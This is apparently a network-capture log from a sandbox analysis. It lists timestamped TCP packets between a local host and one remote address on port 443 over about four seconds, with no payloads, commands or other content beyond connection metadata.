Nov 16, 2024 04:34:32.632671118 CET	443	50043	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.632738113 CET	443	50043	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.632740021 CET	50043	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.632790089 CET	50043	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.632849932 CET	50043	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.632873058 CET	443	50043	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.632896900 CET	50043	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.632905006 CET	443	50043	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.635801077 CET	50048	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.635893106 CET	443	50048	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.636137009 CET	50048	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.636212111 CET	50048	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.636229992 CET	443	50048	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.640501022 CET	443	50044	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.640655041 CET	443	50044	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.640723944 CET	50044	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.640763044 CET	50044	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.640784025 CET	443	50044	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.640796900 CET	50044	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.640805006 CET	443	50044	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.643132925 CET	50049	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.643171072 CET	443	50049	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.643260002 CET	50049	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.643431902 CET	50049	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.643450975 CET	443	50049	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.653482914 CET	443	50046	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.653546095 CET	443	50046	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.653646946 CET	443	50046	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.653683901 CET	50046	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.653908968 CET	50046	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.653954983 CET	50046	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.653959990 CET	443	50046	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.656552076 CET	50050	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.656636953 CET	443	50050	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.656873941 CET	50050	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.656944990 CET	50050	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.656964064 CET	443	50050	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.661767006 CET	443	50045	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.661921024 CET	443	50045	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.662002087 CET	50045	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.662077904 CET	50045	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.662079096 CET	50045	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.662117958 CET	443	50045	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.662151098 CET	443	50045	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.664360046 CET	50051	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.664401054 CET	443	50051	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.664480925 CET	50051	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.664675951 CET	50051	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.664695024 CET	443	50051	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.757296085 CET	443	50047	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.757471085 CET	443	50047	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.757674932 CET	50047	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.757674932 CET	50047	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.757675886 CET	50047	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.760375977 CET	50052	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.760410070 CET	443	50052	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.760494947 CET	50052	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.760651112 CET	50052	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.760665894 CET	443	50052	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.060291052 CET	50047	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.060362101 CET	443	50047	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.371275902 CET	443	50048	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.371807098 CET	50048	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.371870041 CET	443	50048	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.372417927 CET	50048	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.372431040 CET	443	50048	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.372576952 CET	443	50049	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.373136044 CET	50049	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.373156071 CET	443	50049	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.373532057 CET	50049	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.373537064 CET	443	50049	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.380872965 CET	443	50050	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.381280899 CET	50050	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.381297112 CET	443	50050	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.381640911 CET	50050	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.381650925 CET	443	50050	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.396358967 CET	443	50051	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.396730900 CET	50051	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.396749020 CET	443	50051	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.397386074 CET	50051	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.397391081 CET	443	50051	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.489125967 CET	443	50052	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.489592075 CET	50052	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.489623070 CET	443	50052	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.490304947 CET	50052	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.490312099 CET	443	50052	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.502553940 CET	443	50049	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.502763033 CET	443	50049	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.502818108 CET	50049	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.502867937 CET	50049	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.502882004 CET	443	50049	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.502892017 CET	50049	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.502897978 CET	443	50049	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.504373074 CET	443	50048	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.504414082 CET	443	50048	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.504471064 CET	443	50048	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.504484892 CET	50048	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.504548073 CET	50048	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.504663944 CET	50048	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.504710913 CET	443	50048	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.504741907 CET	50048	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.504757881 CET	443	50048	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.506784916 CET	50053	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.506875992 CET	443	50053	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.506953001 CET	50053	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.507091045 CET	50054	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.507122040 CET	443	50054	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.507179022 CET	50054	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.507256031 CET	50054	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.507263899 CET	443	50054	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.507263899 CET	50053	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.507301092 CET	443	50053	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.509531975 CET	443	50050	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.509694099 CET	443	50050	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.509757042 CET	50050	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.509793043 CET	50050	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.509793997 CET	50050	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.509809017 CET	443	50050	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.509839058 CET	443	50050	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.512214899 CET	50055	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.512237072 CET	443	50055	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.512311935 CET	50055	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.512427092 CET	50055	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.512454987 CET	443	50055	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.557708025 CET	443	50051	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.557804108 CET	443	50051	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.557852030 CET	50051	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.557862043 CET	443	50051	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.557924032 CET	50051	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.557924032 CET	443	50051	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.557924032 CET	50051	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.557974100 CET	443	50051	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.557977915 CET	50051	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.558005095 CET	443	50051	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.560002089 CET	50056	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.560090065 CET	443	50056	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.560173988 CET	50056	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.560281992 CET	50056	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.560305119 CET	443	50056	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.616776943 CET	443	50052	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.616935015 CET	443	50052	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.617000103 CET	50052	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.617083073 CET	50052	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.617094040 CET	443	50052	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.617108107 CET	50052	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.617114067 CET	443	50052	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.619359970 CET	50057	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.619404078 CET	443	50057	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:33.619474888 CET	50057	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.619678974 CET	50057	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:33.619699955 CET	443	50057	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.232057095 CET	443	50054	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.232753038 CET	50054	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.232786894 CET	443	50054	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.233377934 CET	50054	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.233385086 CET	443	50054	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.243720055 CET	443	50053	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.244204044 CET	50053	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.244246960 CET	443	50053	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.244638920 CET	50053	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.244651079 CET	443	50053	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.283716917 CET	443	50055	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.284115076 CET	50055	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.284157038 CET	443	50055	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.284426928 CET	50055	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.284439087 CET	443	50055	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.337555885 CET	443	50056	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.338049889 CET	50056	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.338109016 CET	443	50056	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.338449955 CET	50056	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.338464022 CET	443	50056	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.345653057 CET	443	50057	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.346023083 CET	50057	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.346082926 CET	443	50057	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.346518040 CET	50057	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.346533060 CET	443	50057	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.360079050 CET	443	50054	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.360116005 CET	443	50054	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.360165119 CET	50054	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.360172987 CET	443	50054	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.360223055 CET	50054	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.360295057 CET	50054	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.360313892 CET	443	50054	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.360326052 CET	50054	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.360332966 CET	443	50054	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.362636089 CET	50058	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.362725019 CET	443	50058	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.362854004 CET	50058	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.362953901 CET	50058	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.362973928 CET	443	50058	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.375354052 CET	443	50053	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.375519991 CET	443	50053	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.375586987 CET	50053	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.375654936 CET	50053	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.375654936 CET	50053	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.375693083 CET	443	50053	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.375718117 CET	443	50053	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.380731106 CET	50059	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.380819082 CET	443	50059	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.380918026 CET	50059	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.381023884 CET	50059	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.381051064 CET	443	50059	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.420759916 CET	443	50055	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.420918941 CET	443	50055	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.420990944 CET	50055	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.421076059 CET	50055	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.421076059 CET	50055	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.421099901 CET	443	50055	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.421123028 CET	443	50055	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.423537970 CET	50060	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.423623085 CET	443	50060	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.423724890 CET	50060	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.423868895 CET	50060	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.423890114 CET	443	50060	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.473486900 CET	443	50057	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.473651886 CET	443	50057	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.473737001 CET	50057	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.473970890 CET	50057	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.473970890 CET	50057	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.473994970 CET	443	50057	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.474010944 CET	443	50057	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.474024057 CET	443	50056	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.474092960 CET	443	50056	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.474209070 CET	443	50056	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.474270105 CET	50056	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.474339008 CET	50056	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.474339008 CET	50056	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.474383116 CET	50056	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.474419117 CET	443	50056	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.476502895 CET	50061	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.476588011 CET	443	50061	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.476706982 CET	50061	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.476804018 CET	50061	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.476824999 CET	443	50061	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.476912975 CET	50062	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.476953030 CET	443	50062	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:34.477019072 CET	50062	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.477205992 CET	50062	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:34.477221012 CET	443	50062	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.082484007 CET	443	50058	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.082885981 CET	50058	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.082945108 CET	443	50058	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.083539963 CET	50058	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.083554029 CET	443	50058	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.117973089 CET	443	50059	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.122102976 CET	50059	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.122144938 CET	443	50059	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.122467995 CET	50059	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.122481108 CET	443	50059	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.165927887 CET	443	50060	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.166476965 CET	50060	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.166534901 CET	443	50060	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.166927099 CET	50060	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.166939974 CET	443	50060	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.197206020 CET	443	50061	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.197891951 CET	50061	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.197953939 CET	443	50061	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.198553085 CET	50061	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.198606968 CET	443	50061	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.209491014 CET	443	50058	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.209559917 CET	443	50058	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.209719896 CET	50058	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.209800005 CET	50058	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.209800005 CET	50058	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.209841967 CET	443	50058	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.209884882 CET	443	50058	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.210519075 CET	443	50062	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.212093115 CET	50063	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.212126970 CET	443	50063	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.212368965 CET	50062	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.212395906 CET	50063	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.212452888 CET	443	50062	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.212490082 CET	50063	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.212496996 CET	443	50063	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.212733984 CET	50062	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.212749004 CET	443	50062	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.250112057 CET	443	50059	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.250369072 CET	443	50059	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.250565052 CET	50059	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.250655890 CET	50059	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.250655890 CET	50059	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.250698090 CET	443	50059	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.250726938 CET	443	50059	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.252484083 CET	50064	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.252532959 CET	443	50064	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.252620935 CET	50064	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.252717972 CET	50064	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.252737045 CET	443	50064	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.294986963 CET	443	50060	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.295111895 CET	443	50060	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.295221090 CET	443	50060	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.295484066 CET	50060	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.295484066 CET	50060	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.295484066 CET	50060	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.295484066 CET	50060	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.297197104 CET	50065	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.297278881 CET	443	50065	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.297383070 CET	50065	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.297493935 CET	50065	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.297513962 CET	443	50065	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.326688051 CET	443	50061	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.326766014 CET	443	50061	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.326880932 CET	443	50061	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.326997995 CET	50061	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.326998949 CET	50061	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.327081919 CET	50061	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.327119112 CET	443	50061	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.327168941 CET	50061	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.327183962 CET	443	50061	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.328994989 CET	50066	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.329030037 CET	443	50066	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.329104900 CET	50066	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.329200983 CET	50066	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.329212904 CET	443	50066	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.341319084 CET	443	50062	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.341516972 CET	443	50062	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.341767073 CET	50062	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.341840982 CET	50062	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.341841936 CET	50062	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.341882944 CET	443	50062	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.341911077 CET	443	50062	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.343537092 CET	50067	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.343617916 CET	443	50067	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.343707085 CET	50067	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.343806028 CET	50067	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.343826056 CET	443	50067	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.607222080 CET	50060	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.607285976 CET	443	50060	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.965050936 CET	443	50063	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.965574980 CET	50063	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.965661049 CET	443	50063	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.966006994 CET	50063	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.966022015 CET	443	50063	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.990387917 CET	443	50064	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.990915060 CET	50064	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.990978956 CET	443	50064	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:35.991295099 CET	50064	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:35.991309881 CET	443	50064	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.028110981 CET	443	50065	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:36.028528929 CET	50065	443	192.168.2.4	13.107.246.45
